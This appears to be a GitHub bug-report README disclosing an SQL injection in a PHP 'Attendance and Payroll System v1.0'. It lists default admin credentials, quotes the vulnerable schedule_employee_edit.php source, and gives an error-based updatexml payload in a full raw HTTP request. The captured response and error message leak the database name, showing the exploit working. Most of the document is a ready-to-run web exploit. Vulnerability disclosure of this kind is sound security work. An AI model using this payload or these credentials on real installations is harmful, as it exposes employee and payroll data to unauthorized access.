

main

...

bug_report / bug_h / README.md



debug601 Rename REDAME.md to README.md

History

1 contributor

35 lines (26 sloc) | 1.49 KB

...

Attendance and Payroll System v1.0 - SQL injection

username:nurhodelta password:password ----> {ip}apsystem/admin/index.php

Supplier: <https://www.sourcecodester.com/php/12268/attendance-and-payroll-system-using-php.html>

\admin\schedule_employee_edit.php has SQL injection

Payload: id=7' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&delete=

SQL injection because id can be closed

```
schedule_employee_edit.php
1 <?php
2 include 'includes/session.php';
3
4 if(isset($_POST['edit'])){
5     $empid = $_POST['id'];
6     $sched_id = $_POST['schedule'];
7
8     $sql = "UPDATE employees SET schedule_id = '$sched_id' WHERE id = '$empid'";
9     echo $sql;
10    if($conn->query($sql)){
11        $_SESSION['success'] = 'Schedule updated successfully';
12    }
13    else{
14        $_SESSION['error'] = $conn->error;
15    }
16
17 }
18 else{
19     $_SESSION['error'] = 'Select schedule to edit first';
20 }
21
22 header('location: schedule_employee.php');
23 ?>
```

POST /apssystem/admin/schedule_employee_edit.php HTTP/1.1

Host: 192.168.1.17

Content-Length: 22

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.1.17

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,

Referer: http://192.168.1.17/apssystem/admin/schedule_employee.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=2nud4pa7qt6oo5odl3120a4bta

Connection: close

id=11' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--&schedule=2&edit=



Request		Response	
Raw	Params	Raw	Headers
<pre>POST /apssystem/admin/schedule_employee_edit.php HTTP/1.1 Host: 192.168.1.17 Content-Length: 83 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.17 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.17/apssystem/admin/schedule_employee.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=2nud4pa7qt6oo5odl3120a4bta Connection: close id=11' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--&schedule=2&edit=</pre>		<pre>HTTP/1.1 302 Found Date: Mon, 21 Mar 2022 12:06:43 GMT Server: Apache/2.4.41 (win64) OpenSSL/1.1.1c PHP/7.4.1 X-Powered-By: PHP/7.4.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache location: schedule_employee.php Content-Length: 115 Connection: close Content-Type: text/html; charset=UTF-8 UPDATE employees SET schedule_id = '2' WHERE id = '11' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--</pre>	

TechSoft IT



Neovic Devierte

● Online

REPORTS



Dashboard

Schedules



Error!

XPATH syntax error: '~apssystem~'